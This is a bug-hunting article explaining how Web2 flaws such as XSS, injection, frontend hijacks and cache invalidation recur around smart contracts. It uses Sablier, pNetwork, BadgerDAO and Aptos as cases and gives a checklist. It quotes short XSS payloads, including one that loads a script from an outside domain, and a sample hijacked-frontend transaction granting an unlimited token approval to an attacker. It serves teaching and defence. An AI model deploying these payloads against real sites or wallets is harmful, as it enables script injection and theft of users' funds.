Someone deployed an ERC-20 whose symbol was <script href=//15.rs></script>. Thirty bytes—right at the cap that was meant to stop exactly this. The .rs wasn't a Rust file; it was a Serbian web domain, chosen purely because a five-character URL was the only way to golf the payload down to that exact limit. And it worked: it ran JavaScript in the browser of anyone who looked at an NFT built on top of it.
The token was bait. The NFT was Sablier's—a legitimate, audited streaming-payment protocol that draws its NFTs on-chain and stamps the underlying asset's symbol into the artwork. Sablier's core did nothing wrong. It trusted a string and handed it to a browser without escaping it, the way web apps have since the 1990s.
That bug is neither exotic nor new—EtherDelta shipped the same one in 2017 with a token name, and it cost users their private keys. What changed is the surface. A smart contract never runs alone: its output gets rendered, indexed, relayed, served, and executed by ordinary Web2 software, and every one of those boundaries is a place an old bug can live.
It's the surface most contract auditors skim past, because it isn't Solidity, and most Web2 pentesters never reach, because they don't read Solidity. I've learned to camp in that gap on purpose. It isn't crowded, and the bugs there are the ones a pure-Solidity review and a pure-Web2 pentest both walk right past — which is where the money tends to be.
The same mistake repeats across four layers of that stack, from the outside in:
- A token symbol that runs JavaScript on a marketplace.
- A bridge that pays out on a forged event and loses eight figures.
- A flawless contract whose users are drained through its own frontend.
- A live blockchain's virtual machine broken by a cache nobody flushed.
Four layers, one story: a Web2 bug class that never died—it just moved somewhere the smart-contract crowd forgot to look.
By the end you'll have those four classes, a real case for each, and a checklist for your next target—the one I reach for when a contract looks too clean and I start eyeing everything around it. One number for the stakes: by a 2022 industry tally, 46.5% of the funds lost across Web3 that year— around $1.7 billion— traced to ordinary Web2 failures, not broken Solidity. The bugs inside the contract get the headlines; the bugs around it take the money.
The stack is Web2 software wearing a blockchain
Strip the marketing off a dApp, and you find a stack you already know how to attack:

Every arrow is a boundary where one side trusts data from the other: the contract emits a string, and the frontend renders it, or an event and the indexer parses it.
The mistake is always the same: the receiving side treats data from the chain as if the chain vouched for it. It doesn't. Anyone can deploy a contract, pick its token's symbol, emit any event, publish any struct. On-chain data is attacker-controlled input the moment it leaves the chain.
KEY INSIGHT—Treat every value a contract hands back—a symbol, a name, a tokenURI, an event arg—as hostile input to whatever reads it next. The chain does not sanitize it for you.
We'll take them from the outside in; the surprising part is how far in the old bugs reach.
1. XSS—The On-Chain String That Runs In a Browser
Sablier builds each NFT's SVG on-chain and drops the underlying asset's symbol into it. Here's the guard meant to make that safe:
function safeAssetSymbol(address asset) internal view returns (string memory) {
(bool success, bytes memory returnData) =
asset.staticcall(abi.encodeCall(IERC20Metadata.symbol, ()));
// Non-empty strings ABI-encode to more than 64 bytes; a bytes32 is 32.
if (!success || returnData.length <= 64) {
return "ERC20";
}
string memory symbol = abi.decode(returnData, (string));
// The length check is meant to stop scripts being injected in the symbol.
if (bytes(symbol).length > 30) {
return "Long Symbol";
} else {
return symbol; // <-- returned unescaped
}
}A previous audit had already flagged that you can inject markup into the SVG. The fix was a>30-length check: cap the symbol, and the scripts won't fit. They fit.
<img src/onerror=alert(1)>(26 bytes)<svg/onload=alert("xss")>(25 bytes)<script href=//15.rs></script>(30 bytes -> loads an external script)
The symbol comes back unescaped and lands straight in the SVG's <text> element. Deploy a token with one of those symbols, open a stream, and the NFT Sablier legitimately generates and carries your payload — on every marketplace that renders it.
The Execution Flow:
1. Attacker deploys a token, symbol = "<script...>" (30 bytes—passes the length check)
2. Sablier mints the NFT and pastes the symbol into the SVG (unescaped)
3. A marketplace renders that SVG inline (into the DOM, not sandboxed in an <img>)
4. The script runs in the visitor's page
The fix that finally worked wasn't a longer length check—it was an allowlist. Sablier v1.2.0 rejects any symbol with a character [A-Za-z0-9 -] and returns "Unsupported Symbol".
Deny by default; allow the few characters a symbol needs.
PITFALL—This only fires where the SVG is rendered inline. Sablier hands the image back as a base64 data:: URI, and browsers sandbox scripts in a data:image/svg+xml loaded through an <img>. So it runs where a platform drops the SVG into the DOM, not where the NFT sits inside an <img>—lethal in an inline sink, inert in a sandboxed one. Know your sink before you claim impact.
The class is ancient. EtherDelta fell to the identical shape in 2017—an ERC-20 whose name was JavaScript, rendered unescaped in the exchange's frontend, lifting private keys out of the victim's browser. Seven years and one .sol file apart, same bug.
How to hunt it: Trace every string a contract returns—symbol, name, tokenURI, on-chain SVG—to where it gets displayed. One question: is it escaped before it hits the DOM? A length check is not escaping. Then test it in the real renderer, because a data: URI in an <img> and an inline <svg> give opposite answers. I've burned an afternoon on a payload that wouldn't fire, only to find the marketplace was loading it in an <img> the whole time—check the sink first, not last.
2. Injection—Off-Chain Code That Believes the Chain
Move one boundary in. The frontend renders strings; the indexer and the bridge relayer parse events. Same trust mistake, higher stakes.
In September 2021, pNetwork lost 277 BTC—about $13 million. Its off-chain component, written in Rust, watched the chain for peg-out events and released BTC to match. The attacker deployed contracts that emitted peg-out events of the right shape, mixed real and forged in one batch, and the extractor took them all. In pNetwork's words, the code "did not validate that the requests originated from the pNetwork contracts."
That's the whole bug. The relayer matched the event's signature—right topic, right fields—and never checked the emitter. An event is a log line the chain carries for anyone; trust it, and you're parsing hostile input.
The Execution Flow:
1. Real contract ---> "peg-out" event
2. Attacker contract ---> "peg-out" event
3. Relayer checks the SHAPE (ok), but never checks WHO emitted it
4. Releases BTC for BOTH

PITFALL—Filtering logs by event signature or topic is not authentication. A Transfer from your token and from my throwaway contract are byte-for-byte identical. If the off-chain side doesn't pin the emitting address, the filter is decoration.
The same missing escape shows up one layer up, in the metadata contracts. Plenty of tokenURI builders paste a user string—a name, a bio—straight into a JSON blob. Slip in a " and you break out of the JSON and rewrite what the frontend parses. Same injection, one encoding layer over.
How to hunt it: Find every off-chain component that reads on-chain data—indexers, subgraphs, relayers, analytics, bots. Ask two things:
1. Does it check which contract produced the data, or only that the shape is right?
2. And does it escape that data before it hits your SQL, your JSON, your shell?
3. The Delivery Layer—the Contract Was Perfect, the Frontend Wasn't
Now the humbling one. You can write a flawless contract, audit it to death, and still watch users get drained—because they never touch your contract directly. They touch a website, and the website is Web2 all the way down.
In December 2021, BadgerDAO lost about $120 million with not one line of its contracts involved. An attacker got a Cloudflare API key and used Cloudflare Workers to inject a script into Badger's own frontend. It waited for a normal transaction, then slipped an extra one in front: an unlimited ERC-20 approve to the attacker. Users signed what looked like their own action. The approvals piled up for weeks before the draining began.
The contract was never the target. The delivery path was—DNS, CDN, API keys, the build pipeline, third-party scripts. All Web2, all usually out of audit scope, all able to rewrite what a user signs. It keeps happening because that path is long and mostly owned by other people:
- KyberSwap (2022): A former employee's Cloudflare account still had access; the attacker used it to swap in a malicious script.
- Curve and Balancer: DNS hijacked at the registrar, pointing the domain at a look-alike that phished approvals.
- Ledger Connect Kit (2023): A phished npm token pushed a malicious version of a library that hundreds of dApps loaded straight into their frontends.
// The hijacked frontend intercepts the user's click
// and pushes a malicious payload to the wallet provider (e.g., MetaMask).
{
"method": "eth_sendTransaction",
"params": [{
"from": "0x_Victim_Address",
"to": "0x_Target_ERC20_Contract",
// 0x095ea7b3 is the function selector for approve(address,uint256)
// Followed by the attacker's address (padded)
// Followed by the max uint256 value (infinite approval)
"data": "0x095ea7b3000000000000000000000000_Attacker_Address_ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff"
}]
}KEY INSIGHT—The frontend is in scope whether or not your engagement says so. A perfect contract behind a hijacked frontend is a perfect contract that drained its users.
PITFALL—The soft spot is rarely the app's own code—it's the access around it. An API key in a leaked .env, a registrar login with no 2FA, an ex-employee never offboarded, an unpinned dependency. None of it shows up in the Solidity.
How to hunt it: Watch what the frontend asks the wallet to sign; an approve or setApprovalForAll the flow has no reason to request is the tell. Check subresource integrity on third-party scripts, who controls the DNS and CDN, and whether the npm deps are pinned. This is where a hunter comfortable in Burp out-earns a pure Solidity auditor. Half of these start as "that's probably out of scope." Look anyway.
4. Cache Invalidation—the Oldest Hard Problem, Now a Type-Confusion Exploit
And then it reaches all the way into the VM.
In early 2026, researchers disclosed a bug in the Aptos block executor. Aptos runs Move, and its VM caches type information to avoid recomputing it every transaction. One cache, the TypeTagCache, maps a struct index to the type it stands for. When the caches grow too large, the executor flushes them—and there were two flush paths, one of which forgot a cache.
// Path A -- one threshold trips this: it flushes everything.
runtime_environment.flush_all_caches();
// Path B -- a different threshold trips this: it flushes most things...
runtime_environment.module_id_pool().flush();
runtime_environment.struct_name_index_map().flush();
self.module_cache.flush();
// ...but never runtime_environment.ty_tag_cache(). <-- the bugAfter Path B fires, the struct-name index map is empty, and its indices get handed out again—but the TypeTagCache still maps index N to whatever struct used to own it. Recycle N to an attacker struct, and borrow_global<AttackerStruct> resolves through the stale cache to the victim's type. The VM reads the victim's storage with the attacker's layout.
=== STATE 1: CACHED ===
Index Map: [N] -------------┐
v
TypeTagCache: [N] ----> [ VaultState (Victim) ]
=== STATE 2: PARTIAL FLUSH (THE BUG) ===
Index Map: [WIPED]
TypeTagCache: [N] ----> [ VaultState (Victim) ] <-- Stale reference persists!
=== STATE 3: EXPLOIT ===
Index Map: [N] (Reassigned) ┐
v
TypeTagCache: [N] ----> [ VaultState (Victim) ]
^
Attacker calls: |
borrow_global<AttackerStruct>() ┘
// VM resolves to Victim's memory space using Attacker's struct layout.The Execution Flow:
1. Cached once: index N -> VaultState (the victim's type)
2. Path B flush: index map -> wiped | TypeTagCache -> NOT wiped (the bug: N still -> VaultState)
3. Attacker: publishes a struct -> reuses index N
4. Execution: borrow_global<Attacker>() -> cache says N -> VaultState -> VM reads the victim's storage
Move's serialization does the rest. BCS is positional—fields in order, no names—so two structs with the same layout produce identical bytes. Give the attacker the victim’s struct shape and the read deserializes cleanly, no error. Now you can read and write another account's resources: a SignerCapability, a mint authority, a bridge's control struct. The researchers put roughly $250 million in direct reach and estimated $70 billion in systemic exposure; a PoC hit about 90% reliability on a $3,000 server.
Strip away the Move detail, and it's a bug every backend engineer has met: a cache entry outlived the validity of its key. Index N meant VaultState when it was cached; it means something else now; the cache never got the memo. Cache invalidation is famously one of the two hard problems in computing—here it landed as a type-confusion exploit on a live L1.
KEY INSIGHT—A VM is systems software, and systems bugs don't care that they're wearing a blockchain. Cache coherency, integer overflow, TOCTOU, use-after-free—the runtime is exactly where you'd expect them, and exactly where "smart contract auditing" stops looking.
(Note: Two honest caveats, because this oversells easily. "Use-after-free" is a loose analogy—nothing is freed; a cache key just goes stale; the precise name is a cache-invalidation failure that yields type confusion. And "hijack" means reading and writing struct storage, not seizing a private key—it's catastrophic only because so much authority in Move lives inside those structs.)
How to hunt the seam
Pull it together. The point isn't four war stories; it's a place to aim your attention that most people don't. Next time you scope a target, don't stop at the contract—walk outward and inward.
| Layer | Web2 class | Where to look | The tell |
|---|---|---|---|
Frontend / renderer | XSS, HTML/JSON injection | symbol, name, tokenURI, on-chain SVG | An on-chain string reaches the DOM unescaped |
Indexer / relayer | Injection, input validation | event & log parsers, bridge watchers | Filters by event shape, not by emitter |
Delivery (DNS/CDN/npm) | Supply chain, hijack | the site, its scripts, its deps | An approval the flow shouldn't ask for; unpinned deps |
RPC / infra | Missing authentication | exposed 8545, admin methods, logs | A fund-moving method with no auth; secrets in logs |
VM / runtime | Cache, memory, type safety | The client and VM source, not the contract | The runtime trusts a cached decision that went stale |
The last row earns two more names. Thousands of Ethereum nodes once exposed a public JSON-RPC with unlockAccount live—an unauthenticated method that moves money is the same bug as an admin page with no login, and it drained an estimated $20 million. Slope Wallet logged users' seed phrases to a monitoring backend—the Web2 classic of secrets in your logs—and lost about $4.1 million. Neither needed a clever idea about blockchains.
KEY INSIGHT—This surface is under-hunted because it sits between two specialties. The Solidity crowd stops at the contract; the appsec crowd never learns to read it. Stand in the gap.
Recap
- A dApp is web2 software wearing a blockchain. Its contract's outputs get rendered, indexed, and served by software you already know how to attack—and each boundary is a surface.
- Four classes recur: XSS in rendered on-chain strings, injection where off-chain code trusts events, supply-chain and hijack at the delivery layer, and systems bugs like cache invalidation in a VM.
- On-chain data is attacker-controlled input. Anyone can pick a symbol, emit an event, publish a struct—the receiving side has to sanitize, because the chain won't.
- Every one of these is an old Web2 bug class that only changed venue. Which points somewhere useful.
From Web3 Back to Web2
For years the traffic ran one way: Web2 researchers picked up Solidity and crossed into Web3, chasing new ground and bigger bounties. The cases above hint the return trip is now the interesting one.
Look at what you just did. You recognized XSS, injection, supply-chain compromise, and a cache-invalidation bug—the whole Web2 canon—in Web3 clothes. You already have the eye for it. The only thing between you and a Web2 target is the setting—and the setting is friendlier than the one you trained in. I keep Solidity and Burp open in the same session now, and the bugs rhyme.
Here's the mapping. A smart contract is a server: its storage is the database, every public function is an endpoint anyone can call, msg.sender is the request, and shipping it is a deploy with no rollback. Except this one runs with its source open to the world, its database on the front lawn, and no way to quietly patch a mistake—about the most hostile server you'll ever be asked to break. An ordinary web2 box—private source, real auth to inspect, logs to read, a hotfix button—is the same machine with the difficulty turned down.
So use these findings as your entry ticket. The XSS in an NFT symbol is the XSS that pays on a Web2 program; the injection at a bridge relayer is the injection in any API; the stale cache in a VM is the stale cache in any backend. Same classes, older and far larger territory.
The transfer that used to run Web2 → Web3 runs cleaner in reverse—a researcher who already treats every input as hostile and reasons from source is most of the way to a Web2 appsec hire.
You just spent a whole article walking the seam one way. It was always a bridge—the other lane is open.



